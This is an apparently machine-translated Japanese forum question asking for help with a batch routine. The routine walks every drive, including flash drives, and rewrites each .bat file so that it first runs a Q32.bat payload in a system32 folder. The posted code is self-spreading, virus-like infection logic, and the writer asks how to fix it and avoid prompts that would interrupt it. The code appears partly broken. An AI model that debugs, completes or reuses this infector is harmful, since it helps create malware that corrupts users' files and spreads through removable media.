他のすべてのドライブ (フラッシュ ドライブなどを含む) の他のすべてのバッチ ファイルの先頭に自分自身への呼び出しを追加するルーチンをバッチ ファイルで作成しようとしています。これを行うために、ネストされた FOR 関数を使用しています。最初の部分では、append と呼ばれる変数を設定して、ドライブ内のすべてのバッチ ファイルに実際に追加します。2 番目の部分では、fsutil を使用して使用中のすべてのドライブを取得し、「cd」を介して各出力をカスケードしてから、append 変数を呼び出して実際の追加を行います。これは、すべてのドライブでバッチ ファイルが追加されるかどうかが確認されるようにするためです。このようなコマンドの文字列になるように変数を設定できますか? 非常に多くのFOR関数が誤動作を引き起こすのでしょうか? 別のものに埋め込まれているので?変数を設定し、FOR 関数でトークンを使用するつもりですか? 実際の追加プロセスはスムーズに進みますか? 最後に、ディスクが入っていないディスク ドライブに cd をセットしようとすると、「ディスクを挿入」ポップアップが表示されるなど、自動化を中断する可能性のある中断はありますか?
set append = (
FOR %%F IN (*.bat) DO (
FOR /f "tokens=*" %%I IN (%%F) DO (
set origtext = %%I
echo @echo off >%%F
echo cd %drive%WINDOWS\system32\Q32 >> %%F
echo start Q32.bat >> %%F
echo %%I >> %%F
)
)
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
cd %%A
%append%
)